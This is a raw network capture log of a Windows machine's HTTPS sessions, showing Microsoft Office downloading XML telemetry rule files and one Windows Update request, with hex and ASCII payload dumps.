2024-10-26 11:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114523Z-16849878b782d4lwcu6h6gmxnw00000001mg00000000auyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49809	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:23 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114523Z-16849878b78zqkvcwgr6h55x9n000000019g00000000gf44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49812	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:23 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114523Z-16849878b7867ttgfbpnfxt44s00000001t000000000bv0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49811	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:23 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114523Z-16849878b78xblwksrnkakc08w00000001b00000000000cp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49813	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:23 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114523Z-16849878b78g2m84h2v9sta29000000000z0000000002c8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49815	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:24 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 18d6d76d-f01e-0052-73f2-249224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114524Z-15b8d89586f4zwgbgswvrvz4vs000000035g000000005kry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:24 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49816	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: cfffa7b8-401e-0064-673b-2654af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114524Z-15b8d89586ffsjj9qb0gmb1stn000000061g000000007hgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49814	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: ff288f8c-c01e-007a-5a0e-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114524Z-r197bdfb6b4bs5qf58wn14wgm000000000v0000000008x4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49817	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:24 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 796b115c-001e-005a-3627-26c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114524Z-r197bdfb6b4qbfppwgs4nqza8000000000g0000000003z1e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:45:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49818	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114524Z-16849878b785jrf8dn0d2rczaw000000031g00000000dk68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49819	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:24 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HW4WLODTnh1l55l&MD=hwC3OdL7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-26 11:45:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 2a7d84cc-994d-40d7-867d-f1386d7430f7 MS-RequestId: 7c9b1df5-9868-4f43-8e4d-a7b61bb890ff MS-CV: s9BZd7lPxkCLJp6D.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 26 Oct 2024 11:45:23 GMT Connection: close Content-Length: 30005
2024-10-26 11:45:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-26 11:45:24 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49820	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:25 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114525Z-16849878b78x6gn56mgecg60qc00000003vg00000000292e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
